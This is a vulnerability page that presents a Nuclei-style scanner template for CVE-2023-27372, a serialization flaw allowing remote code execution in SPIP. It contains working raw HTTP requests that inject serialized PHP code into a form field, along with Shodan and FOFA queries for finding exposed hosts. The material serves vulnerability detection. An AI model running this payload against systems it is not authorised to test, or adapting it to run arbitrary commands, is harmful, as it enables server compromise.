漏洞描述
SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1.
CVE-2023-27372: SPIP - Remote Command Execution
PoC代码[已公开]
id: CVE-2023-27372
info:
name: SPIP - Remote Command Execution
author: DhiyaneshDK,nuts7
severity: critical
description: |
SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.
remediation: |
Apply the latest security patches or upgrade to a patched version of SPIP.
reference:
- https://packetstormsecurity.com/files/171921/SPIP-Remote-Command-Execution.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-27372
- https://github.com/nuts7/CVE-2023-27372
- http://packetstormsecurity.com/files/171921/SPIP-Remote-Command-Execution.html
- http://packetstormsecurity.com/files/173044/SPIP-4.2.1-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-27372
epss-score: 0.93378
epss-percentile: 0.99802
cpe: cpe:2.3:a:spip:spip:*:*:*:*:*:*:*:*
metadata:
verified: "true"
max-request: 2
vendor: spip
product: spip
shodan-query:
- html:"spip.php?page=backend"
- http.html:"spip.php?page=backend"
- cpe:"cpe:2.3:a:spip:spip"
fofa-query: body="spip.php?page=backend"
tags: cve,cve2023,packetstorm,spip,rce,vkev,vuln
http:
- raw:
- |
GET /spip.php?page=spip_pass HTTP/1.1
Host: {{Hostname}}
- |
POST /spip.php?page=spip_pass HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
page=spip_pass&formulaire_action=oubli&formulaire_action_args={{csrf}}&oubli=s:19:"<?php phpinfo(); ?>";
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "PHP Extension"
- "PHP Version"
- "<!DOCTYPE html"
condition: and
- type: status
status:
- 200
extractors:
- type: regex
name: csrf
group: 1
regex:
- "name='formulaire_action_args'[^>]*value='([^']*)'"
internal: true
part: body_1
- type: regex
group: 1
regex:
- '>PHP Version <\/td><td class="v">([0-9.]+)'
part: body_2
# digest: 4b0a004830460221009b44e91f459563ef665fc8981a09f6a86511e727f9b14fd15d6fac8e0a8aaa81022100d03973ebabfdf95bcbf001ddfc8939a3cb2d45d0f0c18a70967a26ea1ce5dce9:922c64590222798bb761d5b6d8e72950